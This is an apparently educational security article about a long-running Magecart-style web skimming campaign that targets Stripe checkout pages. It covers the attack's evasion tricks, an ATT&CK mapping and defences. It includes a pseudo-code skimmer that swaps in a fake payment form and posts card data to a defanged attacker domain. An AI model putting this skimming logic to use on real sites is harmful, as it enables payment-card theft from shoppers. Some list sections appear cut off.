Imagine a digital pickpocket operating invisibly on legitimate shopping websites, stealing credit card details right as customers click "pay now." This isn't a hypothetical scenario, it's the reality of a sophisticated, long-running web skimming campaign that has been actively compromising major payment networks since 2022. For cybersecurity professionals, students, and anyone responsible for an online storefront, understanding this threat is no longer optional; it's critical for digital survival.
Discovered by researchers at Silent Push, this persistent web skimming operation represents a significant evolution in Magecart-style attacks. Unlike crude skimmers, this campaign uses highly evasive JavaScript to target customers of global payment providers like American Express, Mastercard, and Visa. The malware is delivered via a compromised domain (cdn-cookie[.]com) linked to a sanctioned bulletproof hosting service, showing the professional infrastructure behind the attack.
What makes this web skimming campaign particularly dangerous is its dual evasion strategy: it hides from site administrators by checking for WordPress admin toolbars and avoids re-skimming the same victim by setting a browser storage flag. When a user selects Stripe, it dynamically renders a fake payment form, captures all data, and then seamlessly restores the legitimate page, often making users believe they simply entered their details incorrectly.

This attack is a masterclass in client-side exploitation. Let's demystify the exact sequence, from initial infection to data theft.
The attackers first compromise a legitimate e-commerce website, typically by exploiting a vulnerability in a third-party plugin, theme, or the CMS itself. They inject a single, obfuscated line of code into the website's checkout page. This code references a malicious JavaScript file hosted on the attacker-controlled domain, cdn-cookie[.]com. The file often has a benign name like "recorder.js" or "tab-gtm.js" to mimic legitimate analytics or tag manager scripts.
Once a victim loads the compromised checkout page, the skimmer script executes. Its first action is self-preservation. It checks the Document Object Model (DOM) for an element with the ID "wpadminbar". This toolbar only appears for logged-in WordPress administrators. If detected, the script self-destructs, ensuring it remains invisible to the very people who could remove it.
The skimmer then monitors the page. If it detects that the user has selected Stripe as their payment method, it checks the browser's `localStorage` for a flag named "wc_cart_hash". If this flag is not present (meaning this user hasn't been skimmed yet), the attack proceeds.
Here's the core of the web skimming trick. The skimmer uses JavaScript to hide the legitimate Stripe payment form. In its place, it dynamically generates and displays a visually identical fake form. Unaware users fill in their full credit card number, expiration date, CVC, name, and address into this attacker-controlled form.
The technical method involves manipulating the page's DOM. Below is a simplified conceptual example of how such script might replace a form element:
// Pseudo-code illustrating the form replacement logic
if (paymentGateway === 'stripe' && !localStorage.getItem('wc_cart_hash')) {
// 1. Hide the real Stripe form
document.getElementById('real-stripe-form').style.display = 'none';
// 2. Create a fake input form that looks identical
let fakeForm = document.createElement('div');
fakeForm.innerHTML = `<form id="fake-stripe">...Credit Card Inputs Here...</form>`;
document.body.appendChild(fakeForm);
// 3. Add an event listener to steal data on submission
fakeForm.addEventListener('submit', function(e) {
e.preventDefault();
let cardData = collectFormData(this);
exfiltrateData('https://lasorie[.]com/steal', cardData); // Send to attacker server
});
}
When the user submits the fake form, the skimmer captures all data and sends it via an encrypted HTTP POST request to the attacker's exfiltration server (lasorie[.]com). To cover its tracks, the script then performs cleanup: it removes the fake form, re-displays the original (now empty) Stripe form, and sets the "wc_cart_hash" flag in `localStorage` to "true." Finally, it often triggers a payment error message, leading the user to believe they mistyped their details, prompting them to re-enter them, this time into the now-safe, real form.
Framing this web skimming campaign within the MITRE ATT&CK framework helps defenders understand the tactics, techniques, and procedures (TTPs) in a standardized language. This is crucial for threat hunting and aligning defenses.
| MITRE ATT&CK Tactic | Technique (ID & Name) | How It's Used in This Web Skimming Campaign |
|---|---|---|
| Initial Access | T1190 - Exploit Public-Facing Application | Attackers compromise the e-commerce website, likely via vulnerabilities in WordPress, plugins, or third-party scripts, to inject their malicious code. |
| Execution | T1059.007 - JavaScript | The primary payload is obfuscated JavaScript (recorder.js) that executes in the victim's browser to perform the skimming logic. |
| Defense Evasion | T1036 - Masquerading | The script checks for "wpadminbar" to avoid admins and uses benign filenames like "tab-gtm.js" to blend in with legitimate marketing scripts. |
| Collection | T1115 - Clipboard Data & T1555 - Credentials from Password Stores | While not used here for clipboard, the technique is analogous: it collects sensitive input data (credit card details) directly from web form fields. |
| Exfiltration | T1041 - Exfiltration Over C2 Channel | Captured payment data is sent via an HTTP POST request from the victim's browser to the attacker-controlled command and control server (lasorie[.]com). |
| Impact | T1656 - Generate Fraudulent Financial Transactions | The ultimate goal: use stolen credit card data to commit financial fraud, impacting both consumers and merchants. |
For more details on these techniques, the official MITRE ATT&CK website is an invaluable resource for any cybersecurity practitioner.
Understanding the common pitfalls that lead to web skimming infections is half the battle. Here’s what organizations get wrong and what they should do instead.
From an attacker's viewpoint, this web skimming campaign is elegant and low-risk.
Defenders must shift left and assume client-side code is untrusted.
Move from theory to practice. Follow this actionable, layered framework to protect your organization from web skimming.
Content-Security-Policy-Report-Only), analyze violations, then enforce.
This visual underscores the multi-stage, conditional nature of the modern web skimming attack. Defense is not about building a single wall but about creating multiple checkpoints that can break this chain at various stages.
Q: Can a Web Application Firewall (WAF) stop web skimming?
A: A WAF alone is insufficient. Since the malicious script is often injected into a legitimate site or loaded from a (temporarily) trusted domain, and the data theft happens client-to-attacker-server, traditional WAFs focused on server-side attacks may not see the malicious traffic. A WAF is a good layer but must be complemented with client-side security.
Q: How can I check if my site is currently infected with a skimmer?
A: Manually, you can:
Q: Does using a major third-party payment processor like Stripe or PayPal make me immune?
A: It significantly reduces risk but does not grant immunity. As this campaign shows, attackers specifically target pages using Stripe by manipulating the page around their secure iframe or form. If your site is compromised, they can alter the page to intercept data before it reaches the secure processor element or trick users altogether. The security of the processor itself is strong, but the environment around it must also be secure.
Q: Who is ultimately liable for financial losses from web skimming?
A: Liability is complex and depends on contracts, PCI DSS compliance status, and local laws. Typically, if a merchant is found non-compliant with PCI DSS, they may be liable for fraud charges, fines from card networks, and re-issuance costs. Maintaining evidence of robust security controls (like those outlined in this guide) is critical for liability assessment.
The time to act is before you become a statistic. This long-running web skimming campaign proves that attackers are patient, clever, and financially motivated.
Your Next Steps:
Protecting your customers' data is the ultimate responsibility of your online business. Let this analysis be the catalyst that moves your organization from potential victim to hardened target.
© 2026 Cyber Pulse Academy. This content is provided for educational purposes only.
Always consult with security professionals for organization-specific guidance.
Every contribution moves us closer to our goal: making world-class cybersecurity education accessible to ALL.
Choose the amount of donation by yourself.